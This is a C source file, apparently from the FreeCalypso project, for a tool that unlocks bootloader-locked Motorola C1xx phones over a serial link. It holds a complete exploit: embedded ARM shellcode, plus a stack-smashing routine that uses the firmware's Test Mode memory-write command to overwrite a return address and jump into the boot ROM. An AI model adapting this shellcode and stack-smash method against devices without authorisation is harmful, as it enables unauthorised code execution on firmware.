comparison rvinterf/lowlevel/tfc139.c @ 0:e7502631a0f9

initial import from freecalypso-sw rev 1033:5ab737ac3ad7
author Mychaela Falconia <falcon@freecalypso.org>
date Sat, 11 Jun 2016 00:13:35 +0000
parents
children 6f078c4a5506
comparison
equal deleted inserted replaced
-1:000000000000 0:e7502631a0f9
1 /*
2 * This program facilitates the recovery of those Compal/Motorola phones
3 * whose bootloaders have been maliciously locked down. It connects
4 * to a running Mot C1xx firmware through the RVTMUX interface provided
5 * by the latter and uses the Test Mode memory write command (which
6 * these firmwares implement just like TI's reference fw) to inject
7 * some shellcode and to transfer control to it by overwriting a
8 * function return address on the stack. The injected shellcode then
9 * enables the Calypso boot ROM and jumps to it, allowing fc-loadtool
10 * to take over from there.
11 */
12
13 #include <sys/types.h>
14 #include <sys/errno.h>
15 #include <stdio.h>
16 #include <string.h>
17 #include <strings.h>
18 #include <stdlib.h>
19 #include <unistd.h>
20 #include <time.h>
21 #include "../include/pktmux.h"
22 #include "../include/limits.h"
23
24 extern int target_fd;
25 extern char *baudrate_name;
26
27 extern u_char rxpkt[];
28 extern size_t rxpkt_len;
29
30 char *logfname;
31 FILE *logF;
32 time_t logtime;
33 int no_output; /* for output.c */
34
35 int wakeup_after_sec = 1;
36
37 /* see ../../target-utils/tf-breakin/payload.S for the source */
38 static u_char shellcode[114] = {
39 0x78, 0x47, 0xC0, 0x46, 0xD3, 0xF0, 0x21, 0xE3,
40 0x50, 0x10, 0x9F, 0xE5, 0xF5, 0x00, 0xA0, 0xE3,
41 0xB2, 0x00, 0xC1, 0xE1, 0xA0, 0x00, 0xA0, 0xE3,
42 0xB2, 0x00, 0xC1, 0xE1, 0x40, 0x60, 0x9F, 0xE5,
43 0x05, 0x00, 0xD6, 0xE5, 0x20, 0x00, 0x10, 0xE3,
44 0xFC, 0xFF, 0xFF, 0x0A, 0x38, 0x10, 0x8F, 0xE2,
45 0x06, 0x20, 0xA0, 0xE3, 0x01, 0x00, 0xD1, 0xE4,
46 0x00, 0x00, 0xC6, 0xE5, 0x01, 0x20, 0x52, 0xE2,
47 0xFB, 0xFF, 0xFF, 0x1A, 0x05, 0x00, 0xD6, 0xE5,
48 0x40, 0x00, 0x10, 0xE3, 0xFC, 0xFF, 0xFF, 0x0A,
49 0x10, 0x10, 0x9F, 0xE5, 0x01, 0x2C, 0xA0, 0xE3,
50 0xB0, 0x20, 0xC1, 0xE1, 0x00, 0xF0, 0xA0, 0xE3,
51 0x02, 0xF8, 0xFF, 0xFF, 0x00, 0x58, 0xFF, 0xFF,
52 0x10, 0xFB, 0xFF, 0xFF, 0x02, 0x02, 0x02, 0x4F,
53 0x4B, 0x02
54 };
55
56 static unsigned shellcode_load_addr;
57 static unsigned stack_smash_addr;
58 static int thumb_entry = 1;
59
60 static u_char stack_smash_payload[4];
61 static int breakin_in_progress;
62
63 static char *target_tty_port;
64
65 static void
66 send_compal_memwrite(addr, payload, payload_len)
67 unsigned addr;
68 u_char *payload;
69 {
70 u_char pkt[MAX_PKT_TO_TARGET];
71 int i, csum, csum_offset;
72
73 pkt[0] = RVT_TM_HEADER;
74 pkt[1] = 0x40; /* old TM3 MEM_WRITE command */
75 pkt[2] = addr;
76 pkt[3] = addr >> 8;
77 pkt[4] = addr >> 16;
78 pkt[5] = addr >> 24;
79 bcopy(payload, pkt + 6, payload_len);
80 csum_offset = payload_len + 6;
81 csum = 0;
82 for (i = 1; i < csum_offset; i++)
83 csum ^= pkt[i];
84 pkt[i] = csum;
85 send_pkt_to_target(pkt, i + 1);
86 }
87
88 static void
89 initiate_breakin()
90 {
91 char msgbuf[80];
92 unsigned jump_addr;
93
94 sprintf(msgbuf,
95 "Using shellcode load addr 0x%x, stack smash starting addr 0x%x",
96 shellcode_load_addr, stack_smash_addr);
97 output_line(msgbuf);
98 jump_addr = shellcode_load_addr;
99 if (thumb_entry)
100 jump_addr += 1;
101 else
102 jump_addr += 4;
103 stack_smash_payload[0] = jump_addr;
104 stack_smash_payload[1] = jump_addr >> 8;
105 stack_smash_payload[2] = jump_addr >> 16;
106 stack_smash_payload[3] = jump_addr >> 24;
107 output_line("Sending shellcode RAM write");
108 send_compal_memwrite(shellcode_load_addr, shellcode, sizeof shellcode);
109 breakin_in_progress = 1;
110 }
111
112 static void
113 send_memcheck_query()
114 {
115 u_char sendpkt[25];
116
117 output_line("Sending GPF MEMCHECK query");
118 /* fill out the packet */
119 sendpkt[0] = RVT_L23_HEADER;
120 sendpkt[1] = 0xB7; /* system prim */
121 sendpkt[2] = 20;
122 sendpkt[3] = 0;
123 /* send zeros for the timestamp */
124 sendpkt[4] = 0;
125 sendpkt[5] = 0;
126 sendpkt[6] = 0;
127 sendpkt[7] = 0;
128 /* fixed string with all fields */
129 strcpy(sendpkt + 8, "PCO L1 MEMCHECK");
130 /* send it! */
131 send_pkt_to_target(sendpkt, 24);
132 }
133
134 main(argc, argv)
135 char **argv;
136 {
137 extern char *optarg;
138 extern int optind;
139 int c;
140 fd_set fds;
141
142 baudrate_name = "57600"; /* what C139 firmware uses */
143 while ((c = getopt(argc, argv, "a:AB:l:ms:w:")) != EOF)
144 switch (c) {
145 case 'a':
146 shellcode_load_addr = strtoul(optarg, 0, 16);
147 continue;
148 case 'B':
149 baudrate_name = optarg;
150 continue;
151 case 'l':
152 logfname = optarg;
153 continue;
154 case 'm':
155 /* mimic mot931c.exe */
156 shellcode_load_addr = 0x800000;
157 stack_smash_addr = 0x837C54;
158 /* FALL THRU */
159 case 'A':
160 thumb_entry = 0;
161 continue;
162 case 's':
163 stack_smash_addr = strtoul(optarg, 0, 16);
164 continue;
165 case 'w':
166 wakeup_after_sec = strtoul(optarg, 0, 0);
167 continue;
168 case '?':
169 default:
170 usage: fprintf(stderr,
171 "usage: %s [options] ttyport\n", argv[0]);
172 exit(1);
173 }
174 if (argc - optind != 1)
175 goto usage;
176 if (stack_smash_addr && !shellcode_load_addr) {
177 fprintf(stderr, "usage error: -a option required with -s\n");
178 exit(1);
179 }
180 open_target_serial(argv[optind]);
181 target_tty_port = argv[optind];
182
183 set_serial_nonblock(0);
184 setlinebuf(stdout);
185 if (logfname) {
186 logF = fopen(logfname, "w");
187 if (!logF) {
188 perror(logfname);
189 exit(1);
190 }
191 setlinebuf(logF);
192 fprintf(logF, "*** Log of TFC139 break-in session ***\n");
193 }
194 time(&logtime);
195 if (stack_smash_addr)
196 initiate_breakin();
197 else
198 send_memcheck_query();
199 for (;;) {
200 FD_ZERO(&fds);
201 FD_SET(target_fd, &fds);
202 c = select(target_fd+1, &fds, 0, 0, 0);
203 time(&logtime);
204 if (c < 0) {
205 if (errno == EINTR)
206 continue;
207 perror("select");
208 exit(1);
209 }
210 if (FD_ISSET(target_fd, &fds))
211 process_serial_rx();
212 }
213 }
214
215 static void
216 handle_tm_response()
217 {
218 char msgbuf[80];
219
220 if (!breakin_in_progress) {
221 output_line("TM response unexpected at this time");
222 return;
223 }
224 if (rxpkt_len != 4 || rxpkt[1] != 0x40 || rxpkt[2] || rxpkt[3] != 0x40){
225 output_line("TM response differs from expected");
226 return;
227 }
228 sprintf(msgbuf, "Sending stack smash write at 0x%x", stack_smash_addr);
229 output_line(msgbuf);
230 send_compal_memwrite(stack_smash_addr, stack_smash_payload, 4);
231 stack_smash_addr += 4;
232 }
233
234 static void
235 analyze_gpf_packet()
236 {
237 unsigned stackbase, untouched;
238 static char format[] =
239 "Name:L1 Stat:%*s Count:%*s Prio:%*s Stack:%x Size:%*s Untouched:%u";
240 char msgbuf[80];
241
242 if (rxpkt_len < 17 || rxpkt_len > 128)
243 return;
244 /* it needs to be a trace packet */
245 if ((rxpkt[1] & 0xF0) != 0xA0)
246 return;
247 /* check the length */
248 if (rxpkt[2] + 4 != rxpkt_len)
249 return;
250 if (rxpkt[3])
251 return;
252 /* skip timestamp, check src and dest */
253 if (strncmp(rxpkt + 8, "SYSTPCO ", 8))
254 return;
255 /* terminating NUL for sscanf */
256 rxpkt[rxpkt_len] = '\0';
257 if (sscanf(rxpkt + 16, format, &stackbase, &untouched) != 2)
258 return;
259 /* success! */
260 sprintf(msgbuf,
261 "Parsed L1 stack location: base=0x%x, untouched=%u (0x%x)",
262 stackbase, untouched, untouched);
263 output_line(msgbuf);
264 if (stackbase & 3) {
265 output_line("Error: stack base address is not word-aligned");
266 exit(1);
267 }
268 untouched &= ~3;
269 if (!shellcode_load_addr) {
270 if (untouched < sizeof shellcode) {
271 output_line("Error: not enough room for shellcode");
272 exit(1);
273 }
274 shellcode_load_addr = stackbase;
275 }
276 stack_smash_addr = stackbase + untouched;
277 initiate_breakin();
278 }
279
280 handle_rx_packet()
281 {
282 if (rxpkt_len == 2 && rxpkt[0] == 'O' && rxpkt[1] == 'K') {
283 output_line(
284 "Success: target should now be in boot ROM download wait");
285 printf("You can now run fc-loadtool -h compal -c none %s\n",
286 target_tty_port);
287 exit(0);
288 }
289 switch (rxpkt[0]) {
290 case RVT_RV_HEADER:
291 if (rxpkt_len < 6)
292 goto unknown;
293 print_rv_trace();
294 return;
295 case RVT_L1_HEADER:
296 print_l1_trace();
297 return;
298 case RVT_L23_HEADER:
299 print_g23_trace();
300 if (!breakin_in_progress)
301 analyze_gpf_packet();
302 return;
303 case RVT_TM_HEADER:
304 print_tm_output_raw();
305 handle_tm_response();
306 return;
307 default:
308 unknown:
309 print_unknown_packet();
310 }
311 }